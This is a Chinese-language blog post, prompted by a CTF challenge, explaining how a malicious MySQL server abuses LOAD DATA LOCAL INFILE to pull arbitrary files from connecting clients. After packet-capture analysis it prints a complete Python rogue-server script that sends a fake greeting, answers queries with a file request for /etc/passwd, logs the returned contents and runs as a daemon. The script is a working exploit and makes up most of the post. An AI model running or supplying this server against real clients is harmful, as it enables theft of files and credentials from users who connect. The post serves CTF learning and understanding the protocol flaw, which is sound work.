Xi4or0uji's blog

利用mysql local infile读取客户端文件

字数统计: 1.5k阅读时长: 7 min
2019/03/15 Share

这个利用点是之前补hgame的题看到的一个考点,记录一下

MySQL LOAD DATA INFILE简介

先看一张官方文档的图

可以看到,握手阶段中会:

1
2
3
4
客户端和用户端交换各自功能
根据需要创建SSL通道
接收客户端的回应
验证客户端身份进行通信

我们在linux里面tcpdump一下抓取数据包tcpdump -i lo -w mysql.pcap port 3306,然后连接mysql看下数据包

可以看到登录的数据包里面有个Can Use LOAD DATA LOCAL开启了,只要开启了这个,就可以将运行mysql客户端的主机的文件传输到远程服务器中
load data infile这个命令里主要是将读到的文件的内容放进表中

1
2
load data infile '/etc/passwd' into table test;
load data local infile '/etc/passwd' into table test;

两个语句的差别就是第二个读取的是客户端的文件并放入表中,那么问题来了,如果我们可以弄个恶意的mysql服务器,那么是不是就可以将连接到这个服务器的客户端的敏感文件都读出来
想要伪造mysql服务端,首先我们先要了解他们之间的通信是怎样的

mysql通信步骤

继续是在linux里面抓包,把流量包拿下来分析
可以看到,首先是greeting包,这是第一个步骤

接下来是login包

然后就是一些初始化查询

接下来就是用户的查询,这里我查询的是load data local infile这个语句,请求访问客户端的/etc/passwd文件

然后服务端又返回了一个/etc/passwd的流量包

这个时候客户端发回来的就是/etc/passwd文件的内容了

好了,到了这里我们大概有点思路了,如果我们改了服务端返回的数据包,要求请求其他文件,客户端是不是会继续发过来呢,幸运的是,确实是这样的

客户端并没有记住自己上次请求的文件究竟是什么,他只是根据服务端要求传输文件,简单来说就是

可以看到,无论服务端说什么,客户端都是会执行的,好的,现在还有一个问题,就是我不一定每次都能等到客户端向我发出文件请求,看回上面的安全文档,可以看到后面还有一句,就是服务端可以在任何语句后面回复一句文件传输要求,同时我们还记得,在mysql连接的时候,客户端是会先来一句初始化的查询去探测指纹信息的,因此,我们可以直接利用了

恶意mysql服务端伪造

现在我们需要做的就是制作恶意的服务端,完成下面几个步骤:

1
2
3
向mysql client发送server greeting
等待client发送一个query
然后回复一个file tranfer请求

这样我们就可以看到拿到任意的文件了
exp如下(改动github上面的脚本)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
#!/usr/bin/env python
#coding: utf8
import socket
import asyncore
import asynchat
import struct
import random
import logging
import logging.handlers

PORT = 3306

log = logging.getLogger(__name__)

log.setLevel(logging.DEBUG)
tmp_format = logging.handlers.WatchedFileHandler('mysql.log', 'ab')
tmp_format.setFormatter(logging.Formatter("%(asctime)s:%(levelname)s:%(message)s"))
log.addHandler(
tmp_format
)

filelist = (
'/etc/passwd'
)

#================================================
#=======No need to change after this lines=======
#================================================

__author__ = 'Gifts'

def daemonize():
import os, warnings
if os.name != 'posix':
warnings.warn('Cant create daemon on non-posix system')
return
if os.fork(): os._exit(0)
os.setsid()
if os.fork(): os._exit(0)
os.umask(0o022)
null=os.open('/dev/null', os.O_RDWR)
for i in xrange(3):
try:
os.dup2(null, i)
except OSError as e:
if e.errno != 9: raise
os.close(null)

class LastPacket(Exception):
pass

class OutOfOrder(Exception):
pass

class mysql_packet(object):
packet_header = struct.Struct('<Hbb')
packet_header_long = struct.Struct('<Hbbb')
def __init__(self, packet_type, payload):
if isinstance(packet_type, mysql_packet):
self.packet_num = packet_type.packet_num + 1
else:
self.packet_num = packet_type
self.payload = payload

def __str__(self):
payload_len = len(self.payload)
if payload_len < 65536:
header = mysql_packet.packet_header.pack(payload_len, 0, self.packet_num)
else:
header = mysql_packet.packet_header.pack(payload_len & 0xFFFF, payload_len >> 16, 0, self.packet_num)
result = "{0}{1}".format(
header,
self.payload
)
return result

def __repr__(self):
return repr(str(self))
@staticmethod
def parse(raw_data):
packet_num = ord(raw_data[0])
payload = raw_data[1:]
return mysql_packet(packet_num, payload)
class http_request_handler(asynchat.async_chat):
def __init__(self, addr):
asynchat.async_chat.__init__(self, sock=addr[0])
self.addr = addr[1]
self.ibuffer = []
self.set_terminator(3)
self.state = 'LEN'
self.sub_state = 'Auth'
self.logined = False
self.push(
mysql_packet(
0,
"".join((
'\x0a', # Protocol
'5.7.23-0ubuntu0.16.04.1' + '\00', # Version
#'5.1.66-0+squeeze1' + '\0',
'\x31\x00\x00\x00', # Thread ID
'\x0b\x05\x32\x62\x1a\x6b\x4e\x3c' + '\00', # Salt
'\xff\xf7', # Capabilities
'\x08', # Collation
'\x02\x00\xff\x81\x15', # Server Status
'\00' * 10, # Unknown
'\x75\x41\x1f\x0e\x5d\x22\x3e\x05\x21\x56\x14\x5d' + '\00',
"mysql_native_password" + '\x00'
))
)
)
self.order = 1
self.states = ['LOGIN', 'CAPS', 'ANY']

def push(self, data):
log.debug('Pushed: %r', data)
data = str(data)
asynchat.async_chat.push(self, data)

def collect_incoming_data(self, data):
log.debug('Data recved: %r', data)
self.ibuffer.append(data)

def found_terminator(self):
data = "".join(self.ibuffer)
self.ibuffer = []
if self.state == 'LEN':
len_bytes = ord(data[0]) + 256*ord(data[1]) + 65536*ord(data[2]) + 1
if len_bytes < 65536:
self.set_terminator(len_bytes)
self.state = 'Data'
else:
self.state = 'MoreLength'
elif self.state == 'MoreLength':
if data[0] != '\0':
self.push(None)
self.close_when_done()
else:
self.state = 'Data'
elif self.state == 'Data':
packet = mysql_packet.parse(data)
try:
if self.order != packet.packet_num:
raise OutOfOrder()
else:
# Fix ?
self.order = packet.packet_num + 2
if packet.packet_num == 0:
if packet.payload[0] == '\x03':
log.info('Query')
filename = random.choice(filelist)
PACKET = mysql_packet(
packet,
'\xFB{0}'.format(filename)
)
self.set_terminator(3)
self.state = 'LEN'
self.sub_state = 'File'
self.push(PACKET)
elif packet.payload[0] == '\x1b':
log.info('SelectDB')
self.push(mysql_packet(
packet,
'\xfe\x00\x00\x02\x00'
))
raise LastPacket()
elif packet.payload[0] in '\x02':
self.push(mysql_packet(
packet, '\0\0\0\x02\0\0\0'
))
raise LastPacket()
elif packet.payload == '\x00\x01':
self.push(None)
self.close_when_done()
else:
raise ValueError()
else:
if self.sub_state == 'File':
log.info('-- result')
log.info('Result: %r', data)

if len(data) == 1:
self.push(
mysql_packet(packet, '\0\0\0\x02\0\0\0')
)
raise LastPacket()
else:
self.set_terminator(3)
self.state = 'LEN'
self.order = packet.packet_num + 1
elif self.sub_state == 'Auth':
self.push(mysql_packet(
packet, '\0\0\0\x02\0\0\0'
))
raise LastPacket()
else:
log.info('-- else')
raise ValueError('Unknown packet')
except LastPacket:
log.info('Last packet')
self.state = 'LEN'
self.sub_state = None
self.order = 0
self.set_terminator(3)
except OutOfOrder:
log.warning('Out of order')
self.push(None)
self.close_when_done()
else:
log.error('Unknown state')
self.push('None')
self.close_when_done()

class mysql_listener(asyncore.dispatcher):
def __init__(self, sock=None):
asyncore.dispatcher.__init__(self, sock)
if not sock:
self.create_socket(socket.AF_INET, socket.SOCK_STREAM)
self.set_reuse_addr()
try:
self.bind(('', PORT))
except socket.error:
exit()
self.listen(5)

def handle_accept(self):
pair = self.accept()
if pair is not None:
log.info('Conn from: %r', pair[1])
tmp = http_request_handler(pair)
z = mysql_listener()
daemonize()
asyncore.loop()


这里有个坑点就是连接要以127.0.0.1去连接mysql,因为localhost是以socket连接的
到了这里我们就可以伪造mysql读取客户端任意文件了

CATALOG
  1. 1. MySQL LOAD DATA INFILE简介
  2. 2. mysql通信步骤
  3. 3. 恶意mysql服务端伪造